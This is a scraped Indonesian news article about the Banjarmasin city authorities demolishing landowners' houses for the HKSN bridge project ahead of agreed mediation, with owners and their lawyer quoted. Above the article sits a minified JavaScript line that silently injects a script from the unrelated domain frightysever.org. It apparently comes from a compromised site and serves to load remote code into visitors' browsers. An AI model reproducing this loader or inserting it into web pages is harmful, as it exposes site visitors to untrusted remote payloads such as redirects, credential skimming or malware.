(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,BANJARMASIN – Tiga bangunan di sekitar proyek pembangunan Jembatan HKSN jalan Perdagangan Banjarmasin Utara, akhirnya dibongkar, Jumat (7/1/2022) pukul 08.00 Wita. Proses pembongkaran selain secara manual oleh anggota Satpol PP, juga menggunakan alat berat excavator.
Pembongkaran oleh Satpol PP Kota Banjarmasin tersebut membuat para pemilik bangunan dan lahan kaget.
Sebelumnya hasil kesepakatan pada Rabu (5/1/2022) di Pengadilan Negeri (PN) Banjarmasin, kedua belah pihak pemilik lahan dan Pemko Banjarmasin sepakat melakukan mediasi pada Rabu (12/1/2022) mendatang.
Baca juga: Geger Cuitan Ferdinand, Mahfud MD: Allah Tidak Lemah, Allah Tak Perlu Dibela
Kepada Kanalkalimantan.com, Arifuddin, salah satu pemilik lahan yang rumahnya dibongkar hanya bisa pasrah melihat petugas Satpol PP Banjarmasin melakukan pembongkaran.
Di sela pembongkaran rumah oleh petugas, Arifuddin mengatakan, Satpol PP tiba-tiba datang langsung membongkar rumah tanpa membacakan isi surat pembongkaran. “Ini penyerobotan namanya, tapi sertipikat tanah tetap kami pegang,” ucap Arif.
Pembongkaran bangunan rumah di lokasi proyek pembangunan jembatan HKSN tersebut juga membuat kaget Wahyu Utami, kuasa hukum dari pemilik lahan (penggugat).
Wahyu utami mengaku, kaget ada pembongkaran paksa pada pagi hari ini. “Padahal kan kita sepakat mediasi Rabu depan tanggal 12 nanti. Alasan dari Pemko mereka sudah konsinyasi dengan menitipkan uang ganti rugi ke pengadilan, tapi pihak kami belum sepakat nilai ganti ruginya,” tegas Wahyu Utami.
Baca juga: Bubarkan Aksi Balap Liar, Satlantas Polres HSU Tilang 28 Motor
Meski sudah dibongkar, para penggugat pemilik lahan akan tetap menjalani proses mediasi Rabu depan. Pada saat yang sama, Arifuddin salah satu pemilik lahan dan bangunan rumah tidak mau melewatkan kesempatan berfoto terakhir di depan rumahnya. “Waduh kasiannya, ganti rugi gak diambil, sertipikat lengkap tapi tetap aja dibongkar,” ucap Arifuddin. (kanalkalimantan.com/seno)
Reporter : seno
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.